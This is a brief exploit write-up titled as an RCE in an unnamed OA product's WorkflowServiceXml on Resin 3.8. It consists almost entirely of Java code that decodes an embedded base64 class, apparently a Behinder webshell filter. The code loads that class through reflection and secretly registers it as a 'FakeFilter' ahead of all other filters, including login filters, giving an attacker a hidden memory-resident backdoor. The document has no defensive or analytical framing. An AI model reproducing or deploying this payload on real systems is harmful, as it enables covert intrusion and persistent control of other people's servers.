某OA WorkflowServiceXml RCE
    Resin3.8
    image.png

    1. static {
    2. try{
    3. String filter64="yv66vgAAADQA7AoALwBxCQByAHMIAHQKAHUAdgcAdwcAeAgAeQgAegsABgB7CwAFAHwIAH0KACMAfggAfwsABQCACACBCwCCAIMIAIQKAIUAhgcAhwoAIwCICgATAIkKAIUAigcAiwoAFwBxCACMCwCNAI4IAI8IAJALAAUAkQcAkgoAHgBxCgCTAJQKAB4AlQoAhQCWBwCXCgAjAJgKAC8AmQoAKgCaCACbCgCcAJ0IAJ4HAJ8HAFEJAKAAoQoAKgCiCgCjAKQHAKUKAKAApgoAowCnCgAqAKgKAC8AfgcAqQoANACqCwCrAKwHAK0HAK4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxjb20vc29ycnkvYnVnL0JlaGluZGVyRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAK8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAC3BhZ2VDb250ZXh0AQAPTGphdmEvdXRpbC9NYXA7AQACYmYBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQACc2IBAAtjbGFzc2xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQALZGVmaW5lY2xhc3MBABpMamF2YS9sYW5nL3Jl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YgADAAYBKgBjAGQABAAMASQAZQBmAAUAZwAAAAwAAQBeAL8ATABoAAgAaQAAABAAA/0BHQcAagcAa0IHAGwGAEQAAAAGAAIAbQBFAAEAbgA6AAEAOwAAACsAAAABAAAAAbEAAAACADwAAAAGAAEAAAA0AD0AAAAMAAEAAAABAD4APwAAAAEAbwAAAAIAcA==";
    4. byte[] evil = new BASE64Decoder().decodeBuffer(filter64);
    5. ClassLoader classloader = Thread.currentThread().getContextClassLoader();
    6. Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
    7. Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
    8. Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
    9. Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
    10. Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null);
    11. WebApp webapp = (WebApp)contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
    12. Method defineclass= classloader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass",byte[].class,Integer.TYPE,Integer.TYPE);
    13. defineclass.setAccessible(true);
    14. Class clazz = (Class) defineclass.invoke(classloader,evil,0,evil.length);
    15. Filter newFilter = (Filter) clazz.newInstance();
    16. String newFilterStr = "FakeFilter";
    17. FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();
    18. filterConfigimpl.setFilterName(newFilterStr);
    19. filterConfigimpl.setFilterClass(newFilter.getClass().getName());
    20. webapp.addFilter(filterConfigimpl);
    21. FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();
    22. FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
    23. filterMappingUrlpattern.addText("/SyncServlet");
    24. filterMappingUrlpattern.init();
    25. filterMapping.setFilterName(newFilterStr);
    26. filterMapping.setServletContext(webapp);
    27. //set filtterMapper
    28. Field fieldWebappFilterMapper = null;
    29. try {
    30. fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
    31. }catch (NoSuchFieldException Exception){
    32. fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
    33. }
    34. fieldWebappFilterMapper.setAccessible(true);
    35. FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
    36. Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
    37. fieldFilterMapperFilterMap.setAccessible(true);
    38. ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
    39. ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
    40. newFilterMappings.add(filterMapping);
    41. int count = 0;
    42. while(count < orginalfilterMappings.size()){
    43. newFilterMappings.add(orginalfilterMappings.get(count));
    44. ++ count;
    45. }
    46. fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
    47. fieldWebappFilterMapper.set(webapp, filtermapper);
    48. //set loginFilterMapper
    49. Field fieldWebappLoginFilterMapper = null;
    50. try{
    51. fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper");
    52. }catch (NoSuchFieldException Exception){
    53. fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMapper");
    54. }
    55. fieldWebappLoginFilterMapper.setAccessible(true);
    56. FilterMapper loginFilterMapper = (FilterMapper)fieldWebappLoginFilterMapper.get(webapp);
    57. ArrayList<FilterMapping> orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper);
    58. ArrayList<FilterMapping> newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1);
    59. newLoginFilterMappings.add(filterMapping);
    60. count = 0;
    61. while( count < orginLoginFilterMappings.size()){
    62. newLoginFilterMappings.add(orginLoginFilterMappings.get(count));
    63. ++ count;
    64. }
    65. fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings);
    66. fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper);
    67. webapp.getClass().getMethod("clearCache").invoke(webapp);
    68. }catch (Exception e){
    69. e.printStackTrace();
    70. }
    71. }